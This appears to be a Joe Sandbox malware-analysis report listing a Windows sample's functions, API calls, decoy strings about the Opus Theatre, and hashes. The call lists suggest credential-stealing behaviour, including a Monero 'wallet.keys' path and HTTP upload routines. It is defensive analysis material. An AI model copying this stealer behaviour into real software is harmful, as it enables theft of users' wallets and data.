The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00324617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0032473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003245DD

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 23bc78dbe477b4275151f0618462f834fc9b18ecadc2aef053ea48677b4b676e
Instruction ID: 3f00b7e199d9729fe6e35feafda4d9936ea6dec5d02bbb43ad9f41cbcb3b6b72
Opcode Fuzzy Hash: 23bc78dbe477b4275151f0618462f834fc9b18ecadc2aef053ea48677b4b676e
Instruction Fuzzy Hash: B5415A20FD26047BC636FBA4AC7EEDD729E5F52B00F48D0C0ECE85A291CBB06580459B

Function 00324880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00324915
StrCmpCA.SHLWAPI(?,0109E7E8), ref: 0032493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00324ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00340DDB,00000000,?,?,00000000,?,",00000000,?,0109E8B8), ref: 00324DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00324E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00324E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00324E49
InternetCloseHandle.WININET(00000000), ref: 00324EAD
InternetCloseHandle.WININET(00000000), ref: 00324EC5
HttpOpenRequestA.WININET(00000000,0109E828,?,0109E398,00000000,00000000,00400100,00000000), ref: 00324B15

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

InternetCloseHandle.WININET(00000000), ref: 00324ECF

Strings

", xrefs: 00324D33
------, xrefs: 003249BD
------, xrefs: 00324C69
", xrefs: 00324BF2
------, xrefs: 00324B28

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 7147283270a2ef694bbe0d192777cb623317d27bbeb7bf1e7d04d51fb10e5c35
Instruction ID: e3e81f41a5b26d17815740c274714fd7b7f7b8232b0dd743097e4dd24b25da68
Opcode Fuzzy Hash: 7147283270a2ef694bbe0d192777cb623317d27bbeb7bf1e7d04d51fb10e5c35
Instruction Fuzzy Hash: 6612B872910618AADB16EBA0DC92FEEB778AF14300F504199F1467B091EF742F49DF62

Function 00337850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
RtlAllocateHeap.NTDLL(00000000), ref: 00337887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: a32a3ed079ca4fd79191d508a5a7c295fc1d148aea7fbc81e9c985285d05053e
Instruction ID: 75dbd34bf692144f110190ef19d5510b231cf3a32af494d2e615702567d3ccdf
Opcode Fuzzy Hash: a32a3ed079ca4fd79191d508a5a7c295fc1d148aea7fbc81e9c985285d05053e
Instruction Fuzzy Hash: 7FF04FB1944209ABC710DF98DD8ABAEFBB8EB08711F10025AFA05A3680C7B415048FA1

Function 00321160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0032116A
ExitProcess.KERNEL32 ref: 0032117E

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 22daf803adba7f55558a9213d54987d9707c3c4b80da7d7ea3dbebe0e6445042
Instruction ID: 211025eb8a959c50005d105899a95d45148d983ae893a2374a7452629f84e3e6
Opcode Fuzzy Hash: 22daf803adba7f55558a9213d54987d9707c3c4b80da7d7ea3dbebe0e6445042
Instruction Fuzzy Hash: B7D05E7490030CDBCB00DFE4E94A6DDBB78FB18311F000554D90573340EA70A496CAA6

Function 00339C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01085A30), ref: 00339C2D
GetProcAddress.KERNEL32(74DD0000,01085A90), ref: 00339C45
GetProcAddress.KERNEL32(74DD0000,01099640), ref: 00339C5E
GetProcAddress.KERNEL32(74DD0000,01099628), ref: 00339C76
GetProcAddress.KERNEL32(74DD0000,010996D0), ref: 00339C8E
GetProcAddress.KERNEL32(74DD0000,01099610), ref: 00339CA7
GetProcAddress.KERNEL32(74DD0000,0108BAB8), ref: 00339CBF
GetProcAddress.KERNEL32(74DD0000,0109D530), ref: 00339CD7
GetProcAddress.KERNEL32(74DD0000,0109D518), ref: 00339CF0
GetProcAddress.KERNEL32(74DD0000,0109D590), ref: 00339D08
GetProcAddress.KERNEL32(74DD0000,0109D4A0), ref: 00339D20
GetProcAddress.KERNEL32(74DD0000,01085A70), ref: 00339D39
GetProcAddress.KERNEL32(74DD0000,01085730), ref: 00339D51
GetProcAddress.KERNEL32(74DD0000,01085770), ref: 00339D69
GetProcAddress.KERNEL32(74DD0000,01085790), ref: 00339D82
GetProcAddress.KERNEL32(74DD0000,0109D5A8), ref: 00339D9A
GetProcAddress.KERNEL32(74DD0000,0109D500), ref: 00339DB2
GetProcAddress.KERNEL32(74DD0000,0108B9F0), ref: 00339DCB
GetProcAddress.KERNEL32(74DD0000,010857B0), ref: 00339DE3
GetProcAddress.KERNEL32(74DD0000,0109D548), ref: 00339DFB
GetProcAddress.KERNEL32(74DD0000,0109D3F8), ref: 00339E14
GetProcAddress.KERNEL32(74DD0000,0109D410), ref: 00339E2C
GetProcAddress.KERNEL32(74DD0000,0109D428), ref: 00339E44
GetProcAddress.KERNEL32(74DD0000,010857D0), ref: 00339E5D
GetProcAddress.KERNEL32(74DD0000,0109D440), ref: 00339E75
GetProcAddress.KERNEL32(74DD0000,0109D560), ref: 00339E8D
GetProcAddress.KERNEL32(74DD0000,0109D578), ref: 00339EA6
GetProcAddress.KERNEL32(74DD0000,0109D458), ref: 00339EBE
GetProcAddress.KERNEL32(74DD0000,0109D470), ref: 00339ED6
GetProcAddress.KERNEL32(74DD0000,0109D488), ref: 00339EEF
GetProcAddress.KERNEL32(74DD0000,0109D4B8), ref: 00339F07
GetProcAddress.KERNEL32(74DD0000,0109D4E8), ref: 00339F1F
GetProcAddress.KERNEL32(74DD0000,0109D4D0), ref: 00339F38
GetProcAddress.KERNEL32(74DD0000,0109A2D0), ref: 00339F50
GetProcAddress.KERNEL32(74DD0000,0109D008), ref: 00339F68
GetProcAddress.KERNEL32(74DD0000,0109CE58), ref: 00339F81
GetProcAddress.KERNEL32(74DD0000,01085810), ref: 00339F99
GetProcAddress.KERNEL32(74DD0000,0109CFF0), ref: 00339FB1
GetProcAddress.KERNEL32(74DD0000,01085830), ref: 00339FCA
GetProcAddress.KERNEL32(74DD0000,0109D068), ref: 00339FE2
GetProcAddress.KERNEL32(74DD0000,0109D0B0), ref: 00339FFA
GetProcAddress.KERNEL32(74DD0000,01085850), ref: 0033A013
GetProcAddress.KERNEL32(74DD0000,01085D30), ref: 0033A02B
LoadLibraryA.KERNEL32(0109D020,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A03D
LoadLibraryA.KERNEL32(0109CF00,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A04E
LoadLibraryA.KERNEL32(0109CE28,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A060
LoadLibraryA.KERNEL32(0109D080,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A072
LoadLibraryA.KERNEL32(0109CF78,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A083
LoadLibraryA.KERNEL32(0109D038,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A095
LoadLibraryA.KERNEL32(0109CF18,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A0A7
LoadLibraryA.KERNEL32(0109D050,?,00335CA3,00340AEB,?,?,?,?,?,?,?,?,?,?,00340AEA,00340AE3), ref: 0033A0B8
GetProcAddress.KERNEL32(75290000,01085D90), ref: 0033A0DA
GetProcAddress.KERNEL32(75290000,0109CF90), ref: 0033A0F2
GetProcAddress.KERNEL32(75290000,010991B8), ref: 0033A10A
GetProcAddress.KERNEL32(75290000,0109CF30), ref: 0033A123
GetProcAddress.KERNEL32(75290000,01085CD0), ref: 0033A13B
GetProcAddress.KERNEL32(6FCD0000,0108B900), ref: 0033A160
GetProcAddress.KERNEL32(6FCD0000,01085BD0), ref: 0033A179
GetProcAddress.KERNEL32(6FCD0000,0108B6D0), ref: 0033A191
GetProcAddress.KERNEL32(6FCD0000,0109CFA8), ref: 0033A1A9
GetProcAddress.KERNEL32(6FCD0000,0109D098), ref: 0033A1C2
GetProcAddress.KERNEL32(6FCD0000,01085B30), ref: 0033A1DA
GetProcAddress.KERNEL32(6FCD0000,01085DF0), ref: 0033A1F2
GetProcAddress.KERNEL32(6FCD0000,0109CF48), ref: 0033A20B
GetProcAddress.KERNEL32(752C0000,01085DB0), ref: 0033A22C
GetProcAddress.KERNEL32(752C0000,01085DD0), ref: 0033A244
GetProcAddress.KERNEL32(752C0000,0109CFD8), ref: 0033A25D
GetProcAddress.KERNEL32(752C0000,0109D0C8), ref: 0033A275
GetProcAddress.KERNEL32(752C0000,01085E10), ref: 0033A28D
GetProcAddress.KERNEL32(74EC0000,0108BA40), ref: 0033A2B3
GetProcAddress.KERNEL32(74EC0000,0108BA68), ref: 0033A2CB
GetProcAddress.KERNEL32(74EC0000,0109CF60), ref: 0033A2E3
GetProcAddress.KERNEL32(74EC0000,01085BF0), ref: 0033A2FC
GetProcAddress.KERNEL32(74EC0000,01085D50), ref: 0033A314
GetProcAddress.KERNEL32(74EC0000,0108B7E8), ref: 0033A32C
GetProcAddress.KERNEL32(75BD0000,0109CEE8), ref: 0033A352
GetProcAddress.KERNEL32(75BD0000,01085B70), ref: 0033A36A
GetProcAddress.KERNEL32(75BD0000,01099248), ref: 0033A382
GetProcAddress.KERNEL32(75BD0000,0109D0E0), ref: 0033A39B
GetProcAddress.KERNEL32(75BD0000,0109CFC0), ref: 0033A3B3
GetProcAddress.KERNEL32(75BD0000,01085AD0), ref: 0033A3CB
GetProcAddress.KERNEL32(75BD0000,01085CF0), ref: 0033A3E4
GetProcAddress.KERNEL32(75BD0000,0109CDF8), ref: 0033A3FC
GetProcAddress.KERNEL32(75BD0000,0109CE10), ref: 0033A414
GetProcAddress.KERNEL32(75A70000,01085E50), ref: 0033A436
GetProcAddress.KERNEL32(75A70000,0109CE88), ref: 0033A44E
GetProcAddress.KERNEL32(75A70000,0109CEB8), ref: 0033A466
GetProcAddress.KERNEL32(75A70000,0109CE70), ref: 0033A47F
GetProcAddress.KERNEL32(75A70000,0109CE40), ref: 0033A497
GetProcAddress.KERNEL32(75450000,01085B90), ref: 0033A4B8
GetProcAddress.KERNEL32(75450000,01085E30), ref: 0033A4D1
GetProcAddress.KERNEL32(75DA0000,01085C10), ref: 0033A4F2
GetProcAddress.KERNEL32(75DA0000,0109CEA0), ref: 0033A50A
GetProcAddress.KERNEL32(6F070000,01085AF0), ref: 0033A530
GetProcAddress.KERNEL32(6F070000,01085D10), ref: 0033A548
GetProcAddress.KERNEL32(6F070000,01085B50), ref: 0033A560
GetProcAddress.KERNEL32(6F070000,0109CED0), ref: 0033A579
GetProcAddress.KERNEL32(6F070000,01085BB0), ref: 0033A591
GetProcAddress.KERNEL32(6F070000,01085D70), ref: 0033A5A9
GetProcAddress.KERNEL32(6F070000,01085AB0), ref: 0033A5C2
GetProcAddress.KERNEL32(6F070000,01085B10), ref: 0033A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0033A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0033A607
GetProcAddress.KERNEL32(75AF0000,0109D2D8), ref: 0033A629
GetProcAddress.KERNEL32(75AF0000,01099108), ref: 0033A641
GetProcAddress.KERNEL32(75AF0000,0109D260), ref: 0033A659
GetProcAddress.KERNEL32(75AF0000,0109D188), ref: 0033A672
GetProcAddress.KERNEL32(75D90000,01085C30), ref: 0033A693
GetProcAddress.KERNEL32(6E160000,0109D338), ref: 0033A6B4
GetProcAddress.KERNEL32(6E160000,01085C50), ref: 0033A6CD
GetProcAddress.KERNEL32(6E160000,0109D3E0), ref: 0033A6E5
GetProcAddress.KERNEL32(6E160000,0109D0F8), ref: 0033A6FD

Strings

HttpQueryInfoA, xrefs: 0033A5FC
InternetSetOptionA, xrefs: 0033A5E5

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

